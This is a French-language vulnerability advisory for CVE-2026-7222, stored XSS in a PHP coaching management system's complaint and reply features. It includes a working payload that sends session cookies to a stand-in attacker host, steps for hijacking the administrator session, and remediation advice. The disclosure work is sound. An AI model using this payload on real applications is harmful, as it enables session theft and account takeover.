CVE-2026-7222-XSS

Cross-Site Scripting (XSS) stocké dans Coaching Management System entraîne une prise de contrôle de compte

Produit

Coaching Management System en PHP (Code-Projects.org) https://code-projects.org/coaching-management-system-in-php-with-source-code/

Composants affectés

• /modules/student/complaint.php (Soumission de plainte)
• /modules/admin/incomingcomplaint.php (Consultation des plaintes)
• Fonctionnalité de réponse aux plaintes (Administrateur/Enseignant → Étudiant)

Version

Inconnue (Aucune information de version fournie par le fournisseur ; testé sur la dernière version disponible sur Code-Projects.org en date d'avril 2026)

Type de vulnérabilité

CWE-79 : Neutralisation incorrecte de l'entrée lors de la génération de la page Web (Cross-Site Scripting stocké)

Description

L'application ne parvient pas à nettoyer correctement les entrées fournies par l'utilisateur dans la fonctionnalité de plainte et de réponse. Un JavaScript malveillant injecté par un utilisateur à faibles privilèges est stocké et exécuté lorsqu'il est consulté par des utilisateurs à privilèges plus élevés, tels que les administrateurs ou les enseignants.

De plus, la fonctionnalité de réponse est également vulnérable, permettant aux administrateurs ou aux enseignants d'injecter un JavaScript qui s'exécute dans les sessions des étudiants.

Cela entraîne une vulnérabilité XSS stocké affectant plusieurs rôles d'utilisateurs.

Étapes pour reproduire

Cas 1 : Étudiant → Administrateur (élévation de privilèges)

1. Se connecter en tant qu'étudiant

2. Naviguer vers : /modules/student/complaint.php

3. Soumettre une plainte avec la charge utile suivante :

<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>

4. Se connecter en tant qu'administrateur

5. Naviguer vers : /modules/admin/incomingcomplaint.php

6. Lorsque l'administrateur consulte la plainte, la charge utile s'exécute automatiquement

7. Le cookie de session de l'administrateur est envoyé au serveur contrôlé par l'attaquant

8. Utiliser le cookie de session volé pour détourner la session de l'administrateur

   

Cas 2 : Administrateur → Étudiant (XSS inverse)

1. Se connecter en tant qu'administrateur
2. Répondre à une plainte en utilisant la charge utile :

3. Se connecter en tant qu'étudiant
4. Consulter la réponse à la plainte

Preuve de concept

• Exécution de JavaScript confirmée dans le panneau d'administration lors de la consultation d'une plainte malveillante
• Exfiltration réussie du cookie de session (PHPSESSID) via un serveur contrôlé par l'attaquant
• Session administrateur détournée à l'aide du cookie volé
• Exécution de JavaScript confirmée dans le panneau étudiant via la fonctionnalité de réponse

Impact

• Les utilisateurs à faibles privilèges (étudiants) peuvent exécuter du JavaScript arbitraire dans le contexte administrateur
• Conduit au détournement de session en raison de l'absence de l'attribut HttpOnly
• Prise de contrôle complète du compte administrateur
• Le XSS bidirectionnel permet de compromettre plusieurs rôles (Administrateur, Enseignant, Étudiant)
• Compromission totale de l'intégrité, de la confidentialité et de la disponibilité de l'application

Sévérité : CRITIQUE

Cause racine

• Absence de nettoyage des entrées
• Absence d'encodage des sorties
• Absence de contrôles de sécurité sur les cookies de session (attribut HttpOnly non défini)

Recommandation

• Nettoyer et valider toutes les entrées utilisateur.
• Encoder les sorties à l'aide de fonctions comme htmlspecialchars() en PHP
• Définir les attributs HttpOnly et Secure sur les cookies de session
• Mettre en œuvre une politique de sécurité du contenu (CSP)